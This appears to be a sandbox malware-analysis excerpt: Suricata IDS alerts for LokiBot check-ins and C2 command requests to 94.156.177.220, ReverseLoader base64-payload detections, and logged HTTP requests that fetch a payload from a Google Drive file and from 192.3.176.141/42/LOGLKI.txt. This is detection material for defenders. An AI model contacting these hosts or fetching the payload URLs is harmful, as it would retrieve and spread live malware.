Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49228
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49201
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49204
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49213
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49187 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49209
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49198
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49184
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49212 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49188
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49208 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49208
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49212
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49190
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49182
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49207
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49185
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49196 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49214
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49235 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49194
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49183
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49221 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49223 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49221
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49226
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49217
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49235
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49237 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49196
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49193 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49197 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49233 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49197
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49206 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49199 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49238 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49206
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49233
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49222 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49193
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49187 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49219 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49181
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49222
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49219
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49218 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49199
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49238
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49236 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49218
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49236 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49236 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49187 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49237
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49187
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49236 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49200 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49223
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49195 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49236 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49195
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49231 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49236
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49179
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49231
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49234 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49220 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49234
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49200
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49220
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49203 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49203 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49203 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 192.3.176.141:80 -> 192.168.2.22:49175
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49180 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49216 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49203 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49203 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49203
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49216
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49225 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49180
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49225
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49227 -> 94.156.177.220:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.220:80 -> 192.168.2.22:49227
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.250.185.97:443 -> 192.168.2.22:49172
Source: Network traffic	Suricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 142.250.185.97:443 -> 192.168.2.22:49174

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /42/LOGLKI.txt HTTP/1.1Host: 192.3.176.141Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /42/LOGLKI.txt HTTP/1.1Host: 192.3.176.141Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 192.3.176.141 192.3.176.141
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS

